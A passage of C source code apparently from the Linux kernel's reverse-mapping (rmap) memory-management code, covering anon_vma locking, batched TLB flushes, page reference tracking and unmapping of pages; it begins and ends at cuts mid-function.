if (vma->anon_vma)
vma->anon_vma->degree--;
unlock_anon_vma_root(root);
/*
* Iterate the list once more, it now only contains empty and unlinked
* anon_vmas, destroy them. Could not do before due to __put_anon_vma()
* needing to write-acquire the anon_vma->root->rwsem.
*/
list_for_each_entry_safe(avc, next, &vma->anon_vma_chain, same_vma) {
struct anon_vma *anon_vma = avc->anon_vma;
VM_WARN_ON(anon_vma->degree);
put_anon_vma(anon_vma);
list_del(&avc->same_vma);
anon_vma_chain_free(avc);
}
}
static void anon_vma_ctor(void *data)
{
struct anon_vma *anon_vma = data;
init_rwsem(&anon_vma->rwsem);
atomic_set(&anon_vma->refcount, 0);
anon_vma->rb_root = RB_ROOT_CACHED;
}
void __init anon_vma_init(void)
{
anon_vma_cachep = kmem_cache_create("anon_vma", sizeof(struct anon_vma),
0, SLAB_TYPESAFE_BY_RCU|SLAB_PANIC|SLAB_ACCOUNT,
anon_vma_ctor);
anon_vma_chain_cachep = KMEM_CACHE(anon_vma_chain,
SLAB_PANIC|SLAB_ACCOUNT);
}
/*
* Getting a lock on a stable anon_vma from a page off the LRU is tricky!
*
* Since there is no serialization what so ever against page_remove_rmap()
* the best this function can do is return a locked anon_vma that might
* have been relevant to this page.
*
* The page might have been remapped to a different anon_vma or the anon_vma
* returned may already be freed (and even reused).
*
* In case it was remapped to a different anon_vma, the new anon_vma will be a
* child of the old anon_vma, and the anon_vma lifetime rules will therefore
* ensure that any anon_vma obtained from the page will still be valid for as
* long as we observe page_mapped() [ hence all those page_mapped() tests ].
*
* All users of this function must be very careful when walking the anon_vma
* chain and verify that the page in question is indeed mapped in it
* [ something equivalent to page_mapped_in_vma() ].
*
* Since anon_vma's slab is DESTROY_BY_RCU and we know from page_remove_rmap()
* that the anon_vma pointer from page->mapping is valid if there is a
* mapcount, we can dereference the anon_vma after observing those.
*/
struct anon_vma *page_get_anon_vma(struct page *page)
{
struct anon_vma *anon_vma = NULL;
unsigned long anon_mapping;
rcu_read_lock();
anon_mapping = (unsigned long)READ_ONCE(page->mapping);
if ((anon_mapping & PAGE_MAPPING_FLAGS) != PAGE_MAPPING_ANON)
goto out;
if (!page_mapped(page))
goto out;
anon_vma = (struct anon_vma *) (anon_mapping - PAGE_MAPPING_ANON);
if (!atomic_inc_not_zero(&anon_vma->refcount)) {
anon_vma = NULL;
goto out;
}
/*
* If this page is still mapped, then its anon_vma cannot have been
* freed. But if it has been unmapped, we have no security against the
* anon_vma structure being freed and reused (for another anon_vma:
* SLAB_TYPESAFE_BY_RCU guarantees that - so the atomic_inc_not_zero()
* above cannot corrupt).
*/
if (!page_mapped(page)) {
rcu_read_unlock();
put_anon_vma(anon_vma);
return NULL;
}
out:
rcu_read_unlock();
return anon_vma;
}
/*
* Similar to page_get_anon_vma() except it locks the anon_vma.
*
* Its a little more complex as it tries to keep the fast path to a single
* atomic op -- the trylock. If we fail the trylock, we fall back to getting a
* reference like with page_get_anon_vma() and then block on the mutex.
*/
struct anon_vma *page_lock_anon_vma_read(struct page *page)
{
struct anon_vma *anon_vma = NULL;
struct anon_vma *root_anon_vma;
unsigned long anon_mapping;
rcu_read_lock();
anon_mapping = (unsigned long)READ_ONCE(page->mapping);
if ((anon_mapping & PAGE_MAPPING_FLAGS) != PAGE_MAPPING_ANON)
goto out;
if (!page_mapped(page))
goto out;
anon_vma = (struct anon_vma *) (anon_mapping - PAGE_MAPPING_ANON);
root_anon_vma = READ_ONCE(anon_vma->root);
if (down_read_trylock(&root_anon_vma->rwsem)) {
/*
* If the page is still mapped, then this anon_vma is still
* its anon_vma, and holding the mutex ensures that it will
* not go away, see anon_vma_free().
*/
if (!page_mapped(page)) {
up_read(&root_anon_vma->rwsem);
anon_vma = NULL;
}
goto out;
}
/* trylock failed, we got to sleep */
if (!atomic_inc_not_zero(&anon_vma->refcount)) {
anon_vma = NULL;
goto out;
}
if (!page_mapped(page)) {
rcu_read_unlock();
put_anon_vma(anon_vma);
return NULL;
}
/* we pinned the anon_vma, its safe to sleep */
rcu_read_unlock();
anon_vma_lock_read(anon_vma);
if (atomic_dec_and_test(&anon_vma->refcount)) {
/*
* Oops, we held the last refcount, release the lock
* and bail -- can't simply use put_anon_vma() because
* we'll deadlock on the anon_vma_lock_write() recursion.
*/
anon_vma_unlock_read(anon_vma);
__put_anon_vma(anon_vma);
anon_vma = NULL;
}
return anon_vma;
out:
rcu_read_unlock();
return anon_vma;
}
void page_unlock_anon_vma_read(struct anon_vma *anon_vma)
{
anon_vma_unlock_read(anon_vma);
}
#ifdef CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH
/*
* Flush TLB entries for recently unmapped pages from remote CPUs. It is
* important if a PTE was dirty when it was unmapped that it's flushed
* before any IO is initiated on the page to prevent lost writes. Similarly,
* it must be flushed before freeing to prevent data leakage.
*/
void try_to_unmap_flush(void)
{
struct tlbflush_unmap_batch *tlb_ubc = ¤t->tlb_ubc;
if (!tlb_ubc->flush_required)
return;
arch_tlbbatch_flush(&tlb_ubc->arch);
tlb_ubc->flush_required = false;
tlb_ubc->writable = false;
}
/* Flush iff there are potentially writable TLB entries that can race with IO */
void try_to_unmap_flush_dirty(void)
{
struct tlbflush_unmap_batch *tlb_ubc = ¤t->tlb_ubc;
if (tlb_ubc->writable)
try_to_unmap_flush();
}
static void set_tlb_ubc_flush_pending(struct mm_struct *mm, bool writable)
{
struct tlbflush_unmap_batch *tlb_ubc = ¤t->tlb_ubc;
arch_tlbbatch_add_mm(&tlb_ubc->arch, mm);
tlb_ubc->flush_required = true;
/*
* Ensure compiler does not re-order the setting of tlb_flush_batched
* before the PTE is cleared.
*/
barrier();
mm->tlb_flush_batched = true;
/*
* If the PTE was dirty then it's best to assume it's writable. The
* caller must use try_to_unmap_flush_dirty() or try_to_unmap_flush()
* before the page is queued for IO.
*/
if (writable)
tlb_ubc->writable = true;
}
/*
* Returns true if the TLB flush should be deferred to the end of a batch of
* unmap operations to reduce IPIs.
*/
static bool should_defer_flush(struct mm_struct *mm, enum ttu_flags flags)
{
bool should_defer = false;
if (!(flags & TTU_BATCH_FLUSH))
return false;
/* If remote CPUs need to be flushed then defer batch the flush */
if (cpumask_any_but(mm_cpumask(mm), get_cpu()) < nr_cpu_ids)
should_defer = true;
put_cpu();
return should_defer;
}
/*
* Reclaim unmaps pages under the PTL but do not flush the TLB prior to
* releasing the PTL if TLB flushes are batched. It's possible for a parallel
* operation such as mprotect or munmap to race between reclaim unmapping
* the page and flushing the page. If this race occurs, it potentially allows
* access to data via a stale TLB entry. Tracking all mm's that have TLB
* batching in flight would be expensive during reclaim so instead track
* whether TLB batching occurred in the past and if so then do a flush here
* if required. This will cost one additional flush per reclaim cycle paid
* by the first operation at risk such as mprotect and mumap.
*
* This must be called under the PTL so that an access to tlb_flush_batched
* that is potentially a "reclaim vs mprotect/munmap/etc" race will synchronise
* via the PTL.
*/
void flush_tlb_batched_pending(struct mm_struct *mm)
{
if (mm->tlb_flush_batched) {
flush_tlb_mm(mm);
/*
* Do not allow the compiler to re-order the clearing of
* tlb_flush_batched before the tlb is flushed.
*/
barrier();
mm->tlb_flush_batched = false;
}
}
#else
static void set_tlb_ubc_flush_pending(struct mm_struct *mm, bool writable)
{
}
static bool should_defer_flush(struct mm_struct *mm, enum ttu_flags flags)
{
return false;
}
#endif /* CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH */
/*
* At what user virtual address is page expected in vma?
* Caller should check the page is actually part of the vma.
*/
unsigned long page_address_in_vma(struct page *page, struct vm_area_struct *vma)
{
unsigned long address;
if (PageAnon(page)) {
struct anon_vma *page__anon_vma = page_anon_vma(page);
/*
* Note: swapoff's unuse_vma() is more efficient with this
* check, and needs it to match anon_vma when KSM is active.
*/
if (!vma->anon_vma || !page__anon_vma ||
vma->anon_vma->root != page__anon_vma->root)
return -EFAULT;
} else if (page->mapping) {
if (!vma->vm_file || vma->vm_file->f_mapping != page->mapping)
return -EFAULT;
} else
return -EFAULT;
address = __vma_address(page, vma);
if (unlikely(address < vma->vm_start || address >= vma->vm_end))
return -EFAULT;
return address;
}
pmd_t *mm_find_pmd(struct mm_struct *mm, unsigned long address)
{
pgd_t *pgd;
p4d_t *p4d;
pud_t *pud;
pmd_t *pmd = NULL;
pmd_t pmde;
pgd = pgd_offset(mm, address);
if (!pgd_present(*pgd))
goto out;
p4d = p4d_offset(pgd, address);
if (!p4d_present(*p4d))
goto out;
pud = pud_offset(p4d, address);
if (!pud_present(*pud))
goto out;
pmd = pmd_offset(pud, address);
/*
* Some THP functions use the sequence pmdp_huge_clear_flush(), set_pmd_at()
* without holding anon_vma lock for write. So when looking for a
* genuine pmde (in which to find pte), test present and !THP together.
*/
pmde = *pmd;
barrier();
if (!pmd_present(pmde) || pmd_trans_huge(pmde))
pmd = NULL;
out:
return pmd;
}
struct page_referenced_arg {
int mapcount;
int referenced;
unsigned long vm_flags;
struct mem_cgroup *memcg;
};
/*
* arg: page_referenced_arg will be passed
*/
static bool page_referenced_one(struct page *page, struct vm_area_struct *vma,
unsigned long address, void *arg)
{
struct page_referenced_arg *pra = arg;
struct page_vma_mapped_walk pvmw = {
.page = page,
.vma = vma,
.address = address,
};
int referenced = 0;
while (page_vma_mapped_walk(&pvmw)) {
address = pvmw.address;
if (vma->vm_flags & VM_LOCKED) {
page_vma_mapped_walk_done(&pvmw);
pra->vm_flags |= VM_LOCKED;
return false; /* To break the loop */
}
if (pvmw.pte) {
if (ptep_clear_flush_young_notify(vma, address,
pvmw.pte)) {
/*
* Don't treat a reference through
* a sequentially read mapping as such.
* If the page has been used in another mapping,
* we will catch it; if this other mapping is
* already gone, the unmap path will have set
* PG_referenced or activated the page.
*/
if (likely(!(vma->vm_flags & VM_SEQ_READ)))
referenced++;
}
} else if (IS_ENABLED(CONFIG_TRANSPARENT_HUGEPAGE)) {
if (pmdp_clear_flush_young_notify(vma, address,
pvmw.pmd))
referenced++;
} else {
/* unexpected pmd-mapped page? */
WARN_ON_ONCE(1);
}
pra->mapcount--;
}
if (referenced)
clear_page_idle(page);
if (test_and_clear_page_young(page))
referenced++;
if (referenced) {
pra->referenced++;
pra->vm_flags |= vma->vm_flags;
}
if (!pra->mapcount)
return false; /* To break the loop */
return true;
}
static bool invalid_page_referenced_vma(struct vm_area_struct *vma, void *arg)
{
struct page_referenced_arg *pra = arg;
struct mem_cgroup *memcg = pra->memcg;
if (!mm_match_cgroup(vma->vm_mm, memcg))
return true;
return false;
}
/**
* page_referenced - test if the page was referenced
* @page: the page to test
* @is_locked: caller holds lock on the page
* @memcg: target memory cgroup
* @vm_flags: collect encountered vma->vm_flags who actually referenced the page
*
* Quick test_and_clear_referenced for all mappings to a page,
* returns the number of ptes which referenced the page.
*/
int page_referenced(struct page *page,
int is_locked,
struct mem_cgroup *memcg,
unsigned long *vm_flags)
{
int we_locked = 0;
struct page_referenced_arg pra = {
.mapcount = total_mapcount(page),
.memcg = memcg,
};
struct rmap_walk_control rwc = {
.rmap_one = page_referenced_one,
.arg = (void *)&pra,
.anon_lock = page_lock_anon_vma_read,
};
*vm_flags = 0;
if (!page_mapped(page))
return 0;
if (!page_rmapping(page))
return 0;
if (!is_locked && (!PageAnon(page) || PageKsm(page))) {
we_locked = trylock_page(page);
if (!we_locked)
return 1;
}
/*
* If we are reclaiming on behalf of a cgroup, skip
* counting on behalf of references from different
* cgroups
*/
if (memcg) {
rwc.invalid_vma = invalid_page_referenced_vma;
}
rmap_walk(page, &rwc);
*vm_flags = pra.vm_flags;
if (we_locked)
unlock_page(page);
return pra.referenced;
}
static bool page_mkclean_one(struct page *page, struct vm_area_struct *vma,
unsigned long address, void *arg)
{
struct page_vma_mapped_walk pvmw = {
.page = page,
.vma = vma,
.address = address,
.flags = PVMW_SYNC,
};
unsigned long start = address, end;
int *cleaned = arg;
/*
* We have to assume the worse case ie pmd for invalidation. Note that
* the page can not be free from this function.
*/
end = min(vma->vm_end, start + (PAGE_SIZE << compound_order(page)));
mmu_notifier_invalidate_range_start(vma->vm_mm, start, end);
while (page_vma_mapped_walk(&pvmw)) {
unsigned long cstart;
int ret = 0;
cstart = address = pvmw.address;
if (pvmw.pte) {
pte_t entry;
pte_t *pte = pvmw.pte;
if (!pte_dirty(*pte) && !pte_write(*pte))
continue;
flush_cache_page(vma, address, pte_pfn(*pte));
entry = ptep_clear_flush(vma, address, pte);
entry = pte_wrprotect(entry);
entry = pte_mkclean(entry);
set_pte_at(vma->vm_mm, address, pte, entry);
ret = 1;
} else {
#ifdef CONFIG_TRANSPARENT_HUGE_PAGECACHE
pmd_t *pmd = pvmw.pmd;
pmd_t entry;
if (!pmd_dirty(*pmd) && !pmd_write(*pmd))
continue;
flush_cache_page(vma, address, page_to_pfn(page));
entry = pmdp_huge_clear_flush(vma, address, pmd);
entry = pmd_wrprotect(entry);
entry = pmd_mkclean(entry);
set_pmd_at(vma->vm_mm, address, pmd, entry);
cstart &= PMD_MASK;
ret = 1;
#else
/* unexpected pmd-mapped page? */
WARN_ON_ONCE(1);
#endif
}
/*
* No need to call mmu_notifier_invalidate_range() as we are
* downgrading page table protection not changing it to point
* to a new page.
*
* See Documentation/vm/mmu_notifier.rst
*/
if (ret)
(*cleaned)++;
}
mmu_notifier_invalidate_range_end(vma->vm_mm, start, end);
return true;
}
static bool invalid_mkclean_vma(struct vm_area_struct *vma, void *arg)
{
if (vma->vm_flags & VM_SHARED)
return false;
return true;
}
int page_mkclean(struct page *page)
{
int cleaned = 0;
struct address_space *mapping;
struct rmap_walk_control rwc = {
.arg = (void *)&cleaned,
.rmap_one = page_mkclean_one,
.invalid_vma = invalid_mkclean_vma,
};
BUG_ON(!PageLocked(page));
if (!page_mapped(page))
return 0;
mapping = page_mapping(page);
if (!mapping)
return 0;
rmap_walk(page, &rwc);
return cleaned;
}
EXPORT_SYMBOL_GPL(page_mkclean);
/**
* page_move_anon_rmap - move a page to our anon_vma
* @page: the page to move to our anon_vma
* @vma: the vma the page belongs to
*
* When a page belongs exclusively to one process after a COW event,
* that page can be moved into the anon_vma that belongs to just that
* process, so the rmap code will not search the parent or sibling
* processes.
*/
void page_move_anon_rmap(struct page *page, struct vm_area_struct *vma)
{
struct anon_vma *anon_vma = vma->anon_vma;
page = compound_head(page);
VM_BUG_ON_PAGE(!PageLocked(page), page);
VM_BUG_ON_VMA(!anon_vma, vma);
anon_vma = (void *) anon_vma + PAGE_MAPPING_ANON;
/*
* Ensure that anon_vma and the PAGE_MAPPING_ANON bit are written
* simultaneously, so a concurrent reader (eg page_referenced()'s
* PageAnon()) will not see one without the other.
*/
WRITE_ONCE(page->mapping, (struct address_space *) anon_vma);
}
/**
* __page_set_anon_rmap - set up new anonymous rmap
* @page: Page to add to rmap
* @vma: VM area to add page to.
* @address: User virtual address of the mapping
* @exclusive: the page is exclusively owned by the current process
*/
static void __page_set_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address, int exclusive)
{
struct anon_vma *anon_vma = vma->anon_vma;
BUG_ON(!anon_vma);
if (PageAnon(page))
return;
/*
* If the page isn't exclusively mapped into this vma,
* we must use the _oldest_ possible anon_vma for the
* page mapping!
*/
if (!exclusive)
anon_vma = anon_vma->root;
anon_vma = (void *) anon_vma + PAGE_MAPPING_ANON;
page->mapping = (struct address_space *) anon_vma;
page->index = linear_page_index(vma, address);
}
/**
* __page_check_anon_rmap - sanity check anonymous rmap addition
* @page: the page to add the mapping to
* @vma: the vm area in which the mapping is added
* @address: the user virtual address mapped
*/
static void __page_check_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address)
{
#ifdef CONFIG_DEBUG_VM
/*
* The page's anon-rmap details (mapping and index) are guaranteed to
* be set up correctly at this point.
*
* We have exclusion against page_add_anon_rmap because the caller
* always holds the page locked, except if called from page_dup_rmap,
* in which case the page is already known to be setup.
*
* We have exclusion against page_add_new_anon_rmap because those pages
* are initially only visible via the pagetables, and the pte is locked
* over the call to page_add_new_anon_rmap.
*/
BUG_ON(page_anon_vma(page)->root != vma->anon_vma->root);
BUG_ON(page_to_pgoff(page) != linear_page_index(vma, address));
#endif
}
/**
* page_add_anon_rmap - add pte mapping to an anonymous page
* @page: the page to add the mapping to
* @vma: the vm area in which the mapping is added
* @address: the user virtual address mapped
* @compound: charge the page as compound or small page
*
* The caller needs to hold the pte lock, and the page must be locked in
* the anon_vma case: to serialize mapping,index checking after setting,
* and to ensure that PageAnon is not being upgraded racily to PageKsm
* (but PageKsm is never downgraded to PageAnon).
*/
void page_add_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address, bool compound)
{
do_page_add_anon_rmap(page, vma, address, compound ? RMAP_COMPOUND : 0);
}
/*
* Special version of the above for do_swap_page, which often runs
* into pages that are exclusively owned by the current process.
* Everybody else should continue to use page_add_anon_rmap above.
*/
void do_page_add_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address, int flags)
{
bool compound = flags & RMAP_COMPOUND;
bool first;
if (compound) {
atomic_t *mapcount;
VM_BUG_ON_PAGE(!PageLocked(page), page);
VM_BUG_ON_PAGE(!PageTransHuge(page), page);
mapcount = compound_mapcount_ptr(page);
first = atomic_inc_and_test(mapcount);
} else {
first = atomic_inc_and_test(&page->_mapcount);
}
if (first) {
int nr = compound ? hpage_nr_pages(page) : 1;
/*
* We use the irq-unsafe __{inc|mod}_zone_page_stat because
* these counters are not modified in interrupt context, and
* pte lock(a spinlock) is held, which implies preemption
* disabled.
*/
if (compound)
__inc_node_page_state(page, NR_ANON_THPS);
__mod_node_page_state(page_pgdat(page), NR_ANON_MAPPED, nr);
}
if (unlikely(PageKsm(page)))
return;
VM_BUG_ON_PAGE(!PageLocked(page), page);
/* address might be in next vma when migration races vma_adjust */
if (first)
__page_set_anon_rmap(page, vma, address,
flags & RMAP_EXCLUSIVE);
else
__page_check_anon_rmap(page, vma, address);
}
/**
* page_add_new_anon_rmap - add pte mapping to a new anonymous page
* @page: the page to add the mapping to
* @vma: the vm area in which the mapping is added
* @address: the user virtual address mapped
* @compound: charge the page as compound or small page
*
* Same as page_add_anon_rmap but must only be called on *new* pages.
* This means the inc-and-test can be bypassed.
* Page does not have to be locked.
*/
void page_add_new_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address, bool compound)
{
int nr = compound ? hpage_nr_pages(page) : 1;
VM_BUG_ON_VMA(address < vma->vm_start || address >= vma->vm_end, vma);
__SetPageSwapBacked(page);
if (compound) {
VM_BUG_ON_PAGE(!PageTransHuge(page), page);
/* increment count (starts at -1) */
atomic_set(compound_mapcount_ptr(page), 0);
__inc_node_page_state(page, NR_ANON_THPS);
} else {
/* Anon THP always mapped first with PMD */
VM_BUG_ON_PAGE(PageTransCompound(page), page);
/* increment count (starts at -1) */
atomic_set(&page->_mapcount, 0);
}
__mod_node_page_state(page_pgdat(page), NR_ANON_MAPPED, nr);
__page_set_anon_rmap(page, vma, address, 1);
}
/**
* page_add_file_rmap - add pte mapping to a file page
* @page: the page to add the mapping to
* @compound: charge the page as compound or small page
*
* The caller needs to hold the pte lock.
*/
void page_add_file_rmap(struct page *page, bool compound)
{
int i, nr = 1;
VM_BUG_ON_PAGE(compound && !PageTransHuge(page), page);
lock_page_memcg(page);
if (compound && PageTransHuge(page)) {
for (i = 0, nr = 0; i < HPAGE_PMD_NR; i++) {
if (atomic_inc_and_test(&page[i]._mapcount))
nr++;
}
if (!atomic_inc_and_test(compound_mapcount_ptr(page)))
goto out;
VM_BUG_ON_PAGE(!PageSwapBacked(page), page);
__inc_node_page_state(page, NR_SHMEM_PMDMAPPED);
} else {
if (PageTransCompound(page) && page_mapping(page)) {
VM_WARN_ON_ONCE(!PageLocked(page));
SetPageDoubleMap(compound_head(page));
if (PageMlocked(page))
clear_page_mlock(compound_head(page));
}
if (!atomic_inc_and_test(&page->_mapcount))
goto out;
}
__mod_lruvec_page_state(page, NR_FILE_MAPPED, nr);
out:
unlock_page_memcg(page);
}
static void page_remove_file_rmap(struct page *page, bool compound)
{
int i, nr = 1;
VM_BUG_ON_PAGE(compound && !PageHead(page), page);
lock_page_memcg(page);
/* Hugepages are not counted in NR_FILE_MAPPED for now. */
if (unlikely(PageHuge(page))) {
/* hugetlb pages are always mapped with pmds */
atomic_dec(compound_mapcount_ptr(page));
goto out;
}
/* page still mapped by someone else? */
if (compound && PageTransHuge(page)) {
for (i = 0, nr = 0; i < HPAGE_PMD_NR; i++) {
if (atomic_add_negative(-1, &page[i]._mapcount))
nr++;
}
if (!atomic_add_negative(-1, compound_mapcount_ptr(page)))
goto out;
VM_BUG_ON_PAGE(!PageSwapBacked(page), page);
__dec_node_page_state(page, NR_SHMEM_PMDMAPPED);
} else {
if (!atomic_add_negative(-1, &page->_mapcount))
goto out;
}
/*
* We use the irq-unsafe __{inc|mod}_lruvec_page_state because
* these counters are not modified in interrupt context, and
* pte lock(a spinlock) is held, which implies preemption disabled.
*/
__mod_lruvec_page_state(page, NR_FILE_MAPPED, -nr);
if (unlikely(PageMlocked(page)))
clear_page_mlock(page);
out:
unlock_page_memcg(page);
}
static void page_remove_anon_compound_rmap(struct page *page)
{
int i, nr;
if (!atomic_add_negative(-1, compound_mapcount_ptr(page)))
return;
/* Hugepages are not counted in NR_ANON_PAGES for now. */
if (unlikely(PageHuge(page)))
return;
if (!IS_ENABLED(CONFIG_TRANSPARENT_HUGEPAGE))
return;
__dec_node_page_state(page, NR_ANON_THPS);
if (TestClearPageDoubleMap(page)) {
/*
* Subpages can be mapped with PTEs too. Check how many of
* themi are still mapped.
*/
for (i = 0, nr = 0; i < HPAGE_PMD_NR; i++) {
if (atomic_add_negative(-1, &page[i]._mapcount))
nr++;
}
} else {
nr = HPAGE_PMD_NR;
}
if (unlikely(PageMlocked(page)))
clear_page_mlock(page);
if (nr) {
__mod_node_page_state(page_pgdat(page), NR_ANON_MAPPED, -nr);
deferred_split_huge_page(page);
}
}
/**
* page_remove_rmap - take down pte mapping from a page
* @page: page to remove mapping from
* @compound: uncharge the page as compound or small page
*
* The caller needs to hold the pte lock.
*/
void page_remove_rmap(struct page *page, bool compound)
{
if (!PageAnon(page))
return page_remove_file_rmap(page, compound);
if (compound)
return page_remove_anon_compound_rmap(page);
/* page still mapped by someone else? */
if (!atomic_add_negative(-1, &page->_mapcount))
return;
/*
* We use the irq-unsafe __{inc|mod}_zone_page_stat because
* these counters are not modified in interrupt context, and
* pte lock(a spinlock) is held, which implies preemption disabled.
*/
__dec_node_page_state(page, NR_ANON_MAPPED);
if (unlikely(PageMlocked(page)))
clear_page_mlock(page);
if (PageTransCompound(page))
deferred_split_huge_page(compound_head(page));
/*
* It would be tidy to reset the PageAnon mapping here,
* but that might overwrite a racing page_add_anon_rmap
* which increments mapcount after us but sets mapping
* before us: so leave the reset to free_unref_page,
* and remember that it's only reliable while mapped.
* Leaving it set also helps swapoff to reinstate ptes
* faster for those pages still in swapcache.
*/
}
/*
* @arg: enum ttu_flags will be passed to this argument
*/
static bool try_to_unmap_one(struct page *page, struct vm_area_struct *vma,
unsigned long address, void *arg)
{
struct mm_struct *mm = vma->vm_mm;
struct page_vma_mapped_walk pvmw = {
.page = page,
.vma = vma,
.address = address,
};
pte_t pteval;
struct page *subpage;
bool ret = true;
unsigned long start = address, end;
enum ttu_flags flags = (enum ttu_flags)arg;
/* munlock has nothing to gain from examining un-locked vmas */
if ((flags & TTU_MUNLOCK) && !(vma->vm_flags & VM_LOCKED))
return true;
if (IS_ENABLED(CONFIG_MIGRATION) && (flags & TTU_MIGRATION) &&
is_zone_device_page(page) && !is_device_private_page(page))
return true;
if (flags & TTU_SPLIT_HUGE_PMD) {
split_huge_pmd_address(vma, address,
flags & TTU_SPLIT_FREEZE, page);
}
/*
* We have to assume the worse case ie pmd for invalidation. Note that
* the page can not be free in this function as call of try_to_unmap()
* must hold a reference on the page.
*/
end = min(vma->vm_end, start + (PAGE_SIZE << compound_order(page)));
mmu_notifier_invalidate_range_start(vma->vm_mm, start, end);
while (page_vma_mapped_walk(&pvmw)) {
#ifdef CONFIG_ARCH_ENABLE_THP_MIGRATION
/* PMD-mapped THP migration entry */
if (!pvmw.pte && (flags & TTU_MIGRATION)) {
VM_BUG_ON_PAGE(PageHuge(page) || !PageTransCompound(page), page);
set_pmd_migration_entry(&pvmw, page);
continue;
}
#endif
/*
* If the page is mlock()d, we cannot swap it out.
* If it's recently referenced (perhaps page_referenced
* skipped over this mm) then we should reactivate it.
*/
if (!(flags & TTU_IGNORE_MLOCK)) {
if (vma->vm_flags & VM_LOCKED) {
/* PTE-mapped THP are never mlocked */
if (!PageTransCompound(page)) {
/*
* Holding pte lock, we do *not* need
* mmap_sem here
*/
mlock_vma_page(page);
}
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
if (flags & TTU_MUNLOCK)
continue;
}
/* Unexpected PMD-mapped THP? */
VM_BUG_ON_PAGE(!pvmw.pte, page);
subpage = page - page_to_pfn(page) + pte_pfn(*pvmw.pte);
address = pvmw.address;
if (IS_ENABLED(CONFIG_MIGRATION) &&
(flags & TTU_MIGRATION) &&
is_zone_device_page(page)) {
swp_entry_t entry;
pte_t swp_pte;
pteval = ptep_get_and_clear(mm, pvmw.address, pvmw.pte);
/*
* Store the pfn of the page in a special migration
* pte. do_swap_page() will wait until the migration
* pte is removed and then restart fault handling.
*/
entry = make_migration_entry(page, 0);
swp_pte = swp_entry_to_pte(entry);
if (pte_soft_dirty(pteval))
swp_pte = pte_swp_mksoft_dirty(swp_pte);
set_pte_at(mm, pvmw.address, pvmw.pte, swp_pte);
/*
* No need to invalidate here it will synchronize on
* against the special swap migration pte.
*/
goto discard;
}
if (!(flags & TTU_IGNORE_ACCESS)) {
if (ptep_clear_flush_young_notify(vma, address,
pvmw.pte)) {
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
}
/* Nuke the page table entry. */
flush_cache_page(vma, address, pte_pfn(*pvmw.pte));
if (should_defer_flush(mm, flags)) {
/*
* We clear the PTE but do not flush so potentially
* a remote CPU could still be writing to the page.
* If the entry was previously clean then the
* architecture must guarantee that a clear->dirty
* transition on a cached TLB entry is written through
* and traps if the PTE is unmapped.
*/
pteval = ptep_get_and_clear(mm, address, pvmw.pte);
set_tlb_ubc_flush_pending(mm, pte_dirty(pteval));
} else {
pteval = ptep_clear_flush(vma, address, pvmw.pte);
}
/* Move the dirty bit to the page. Now the pte is gone. */
if (pte_dirty(pteval))
set_page_dirty(page);
/* Update high watermark before we lower rss */
update_hiwater_rss(mm);
if (PageHWPoison(page) && !(flags & TTU_IGNORE_HWPOISON)) {
pteval = swp_entry_to_pte(make_hwpoison_entry(subpage));
if (PageHuge(page)) {
int nr = 1 << compound_order(page);
hugetlb_count_sub(nr, mm);
set_huge_swap_pte_at(mm, address,
pvmw.pte, pteval,
vma_mmu_pagesize(vma));
} else {
dec_mm_counter(mm, mm_counter(page));
set_pte_at(mm, address, pvmw.pte, pteval);
}
} else if (pte_unused(pteval) && !userfaultfd_armed(vma)) {
/*
* The guest indicated that the page content is of no
* interest anymore. Simply discard the pte, vmscan
* will take care of the rest.
* A future reference will then fault in a new zero
* page. When userfaultfd is active, we must not drop
* this page though, as its main user (postcopy
* migration) will not expect userfaults on already
* copied pages.
*/
dec_mm_counter(mm, mm_counter(page));
/* We have to invalidate as we cleared the pte */
mmu_notifier_invalidate_range(mm, address,
address + PAGE_SIZE);
} else if (IS_ENABLED(CONFIG_MIGRATION) &&
(flags & (TTU_MIGRATION|TTU_SPLIT_FREEZE))) {
swp_entry_t entry;
pte_t swp_pte;
if (arch_unmap_one(mm, vma, address, pteval) < 0) {
set_pte_at(mm, address, pvmw.pte, pteval);
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
/*
* Store the pfn of the page in a special migration
* pte. do_swap_page() will wait until the migration
* pte is removed and then restart fault handling.
*/
entry = make_migration_entry(subpage,
pte_write(pteval));
swp_pte = swp_entry_to_pte(entry);
if (pte_soft_dirty(pteval))
swp_pte = pte_swp_mksoft_dirty(swp_pte);
set_pte_at(mm, address, pvmw.pte, swp_pte);
/*
* No need to invalidate here it will synchronize on
* against the special swap migration pte.
*/
} else if (PageAnon(page)) {
swp_entry_t entry = { .val = page_private(subpage) };
pte_t swp_pte;
/*
* Store the swap location in the pte.
* See handle_pte_fault() ...
*/
if (unlikely(PageSwapBacked(page) != PageSwapCache(page))) {
WARN_ON_ONCE(1);
ret = false;
/* We have to invalidate as we cleared the pte */
mmu_notifier_invalidate_range(mm, address,
address + PAGE_SIZE);
page_vma_mapped_walk_done(&pvmw);
break;
}
/* MADV_FREE page check */
if (!PageSwapBacked(page)) {
if (!PageDirty(page)) {
/* Invalidate as we cleared the pte */
mmu_notifier_invalidate_range(mm,
address, address + PAGE_SIZE);
dec_mm_counter(mm, MM_ANONPAGES);
goto discard;
}
/*
* If the page was redirtied, it cannot be
* discarded. Remap the page to page table.
*/
set_pte_at(mm, address, pvmw.pte, pteval);
SetPageSwapBacked(page);
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
if (swap_duplicate(entry) < 0) {
set_pte_at(mm, address, pvmw.pte, pteval);
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
if (arch_unmap_one(mm, vma, address, pteval) < 0) {
set_pte_at(mm, address, pvmw.pte, pteval);
ret = false;
page_vma_mapped_walk_done(&pvmw);
break;
}
if (list_empty(&mm->mmlist)) {
spin_lock(&mmlist_lock);
if (list_empty(&mm->mmlist))
list_add(&mm->mmlist, &init_mm.mmlist);
spin_unlock(&mmlist_lock);
}
dec_mm_counter(mm, MM_ANONPAGES);
inc_mm_counter(mm, MM_SWAPENTS);
swp_pte = swp_entry_to_pte(entry);
if (pte_soft_dirty(pteval))
swp_pte = pte_swp_mksoft_dirty(swp_pte);
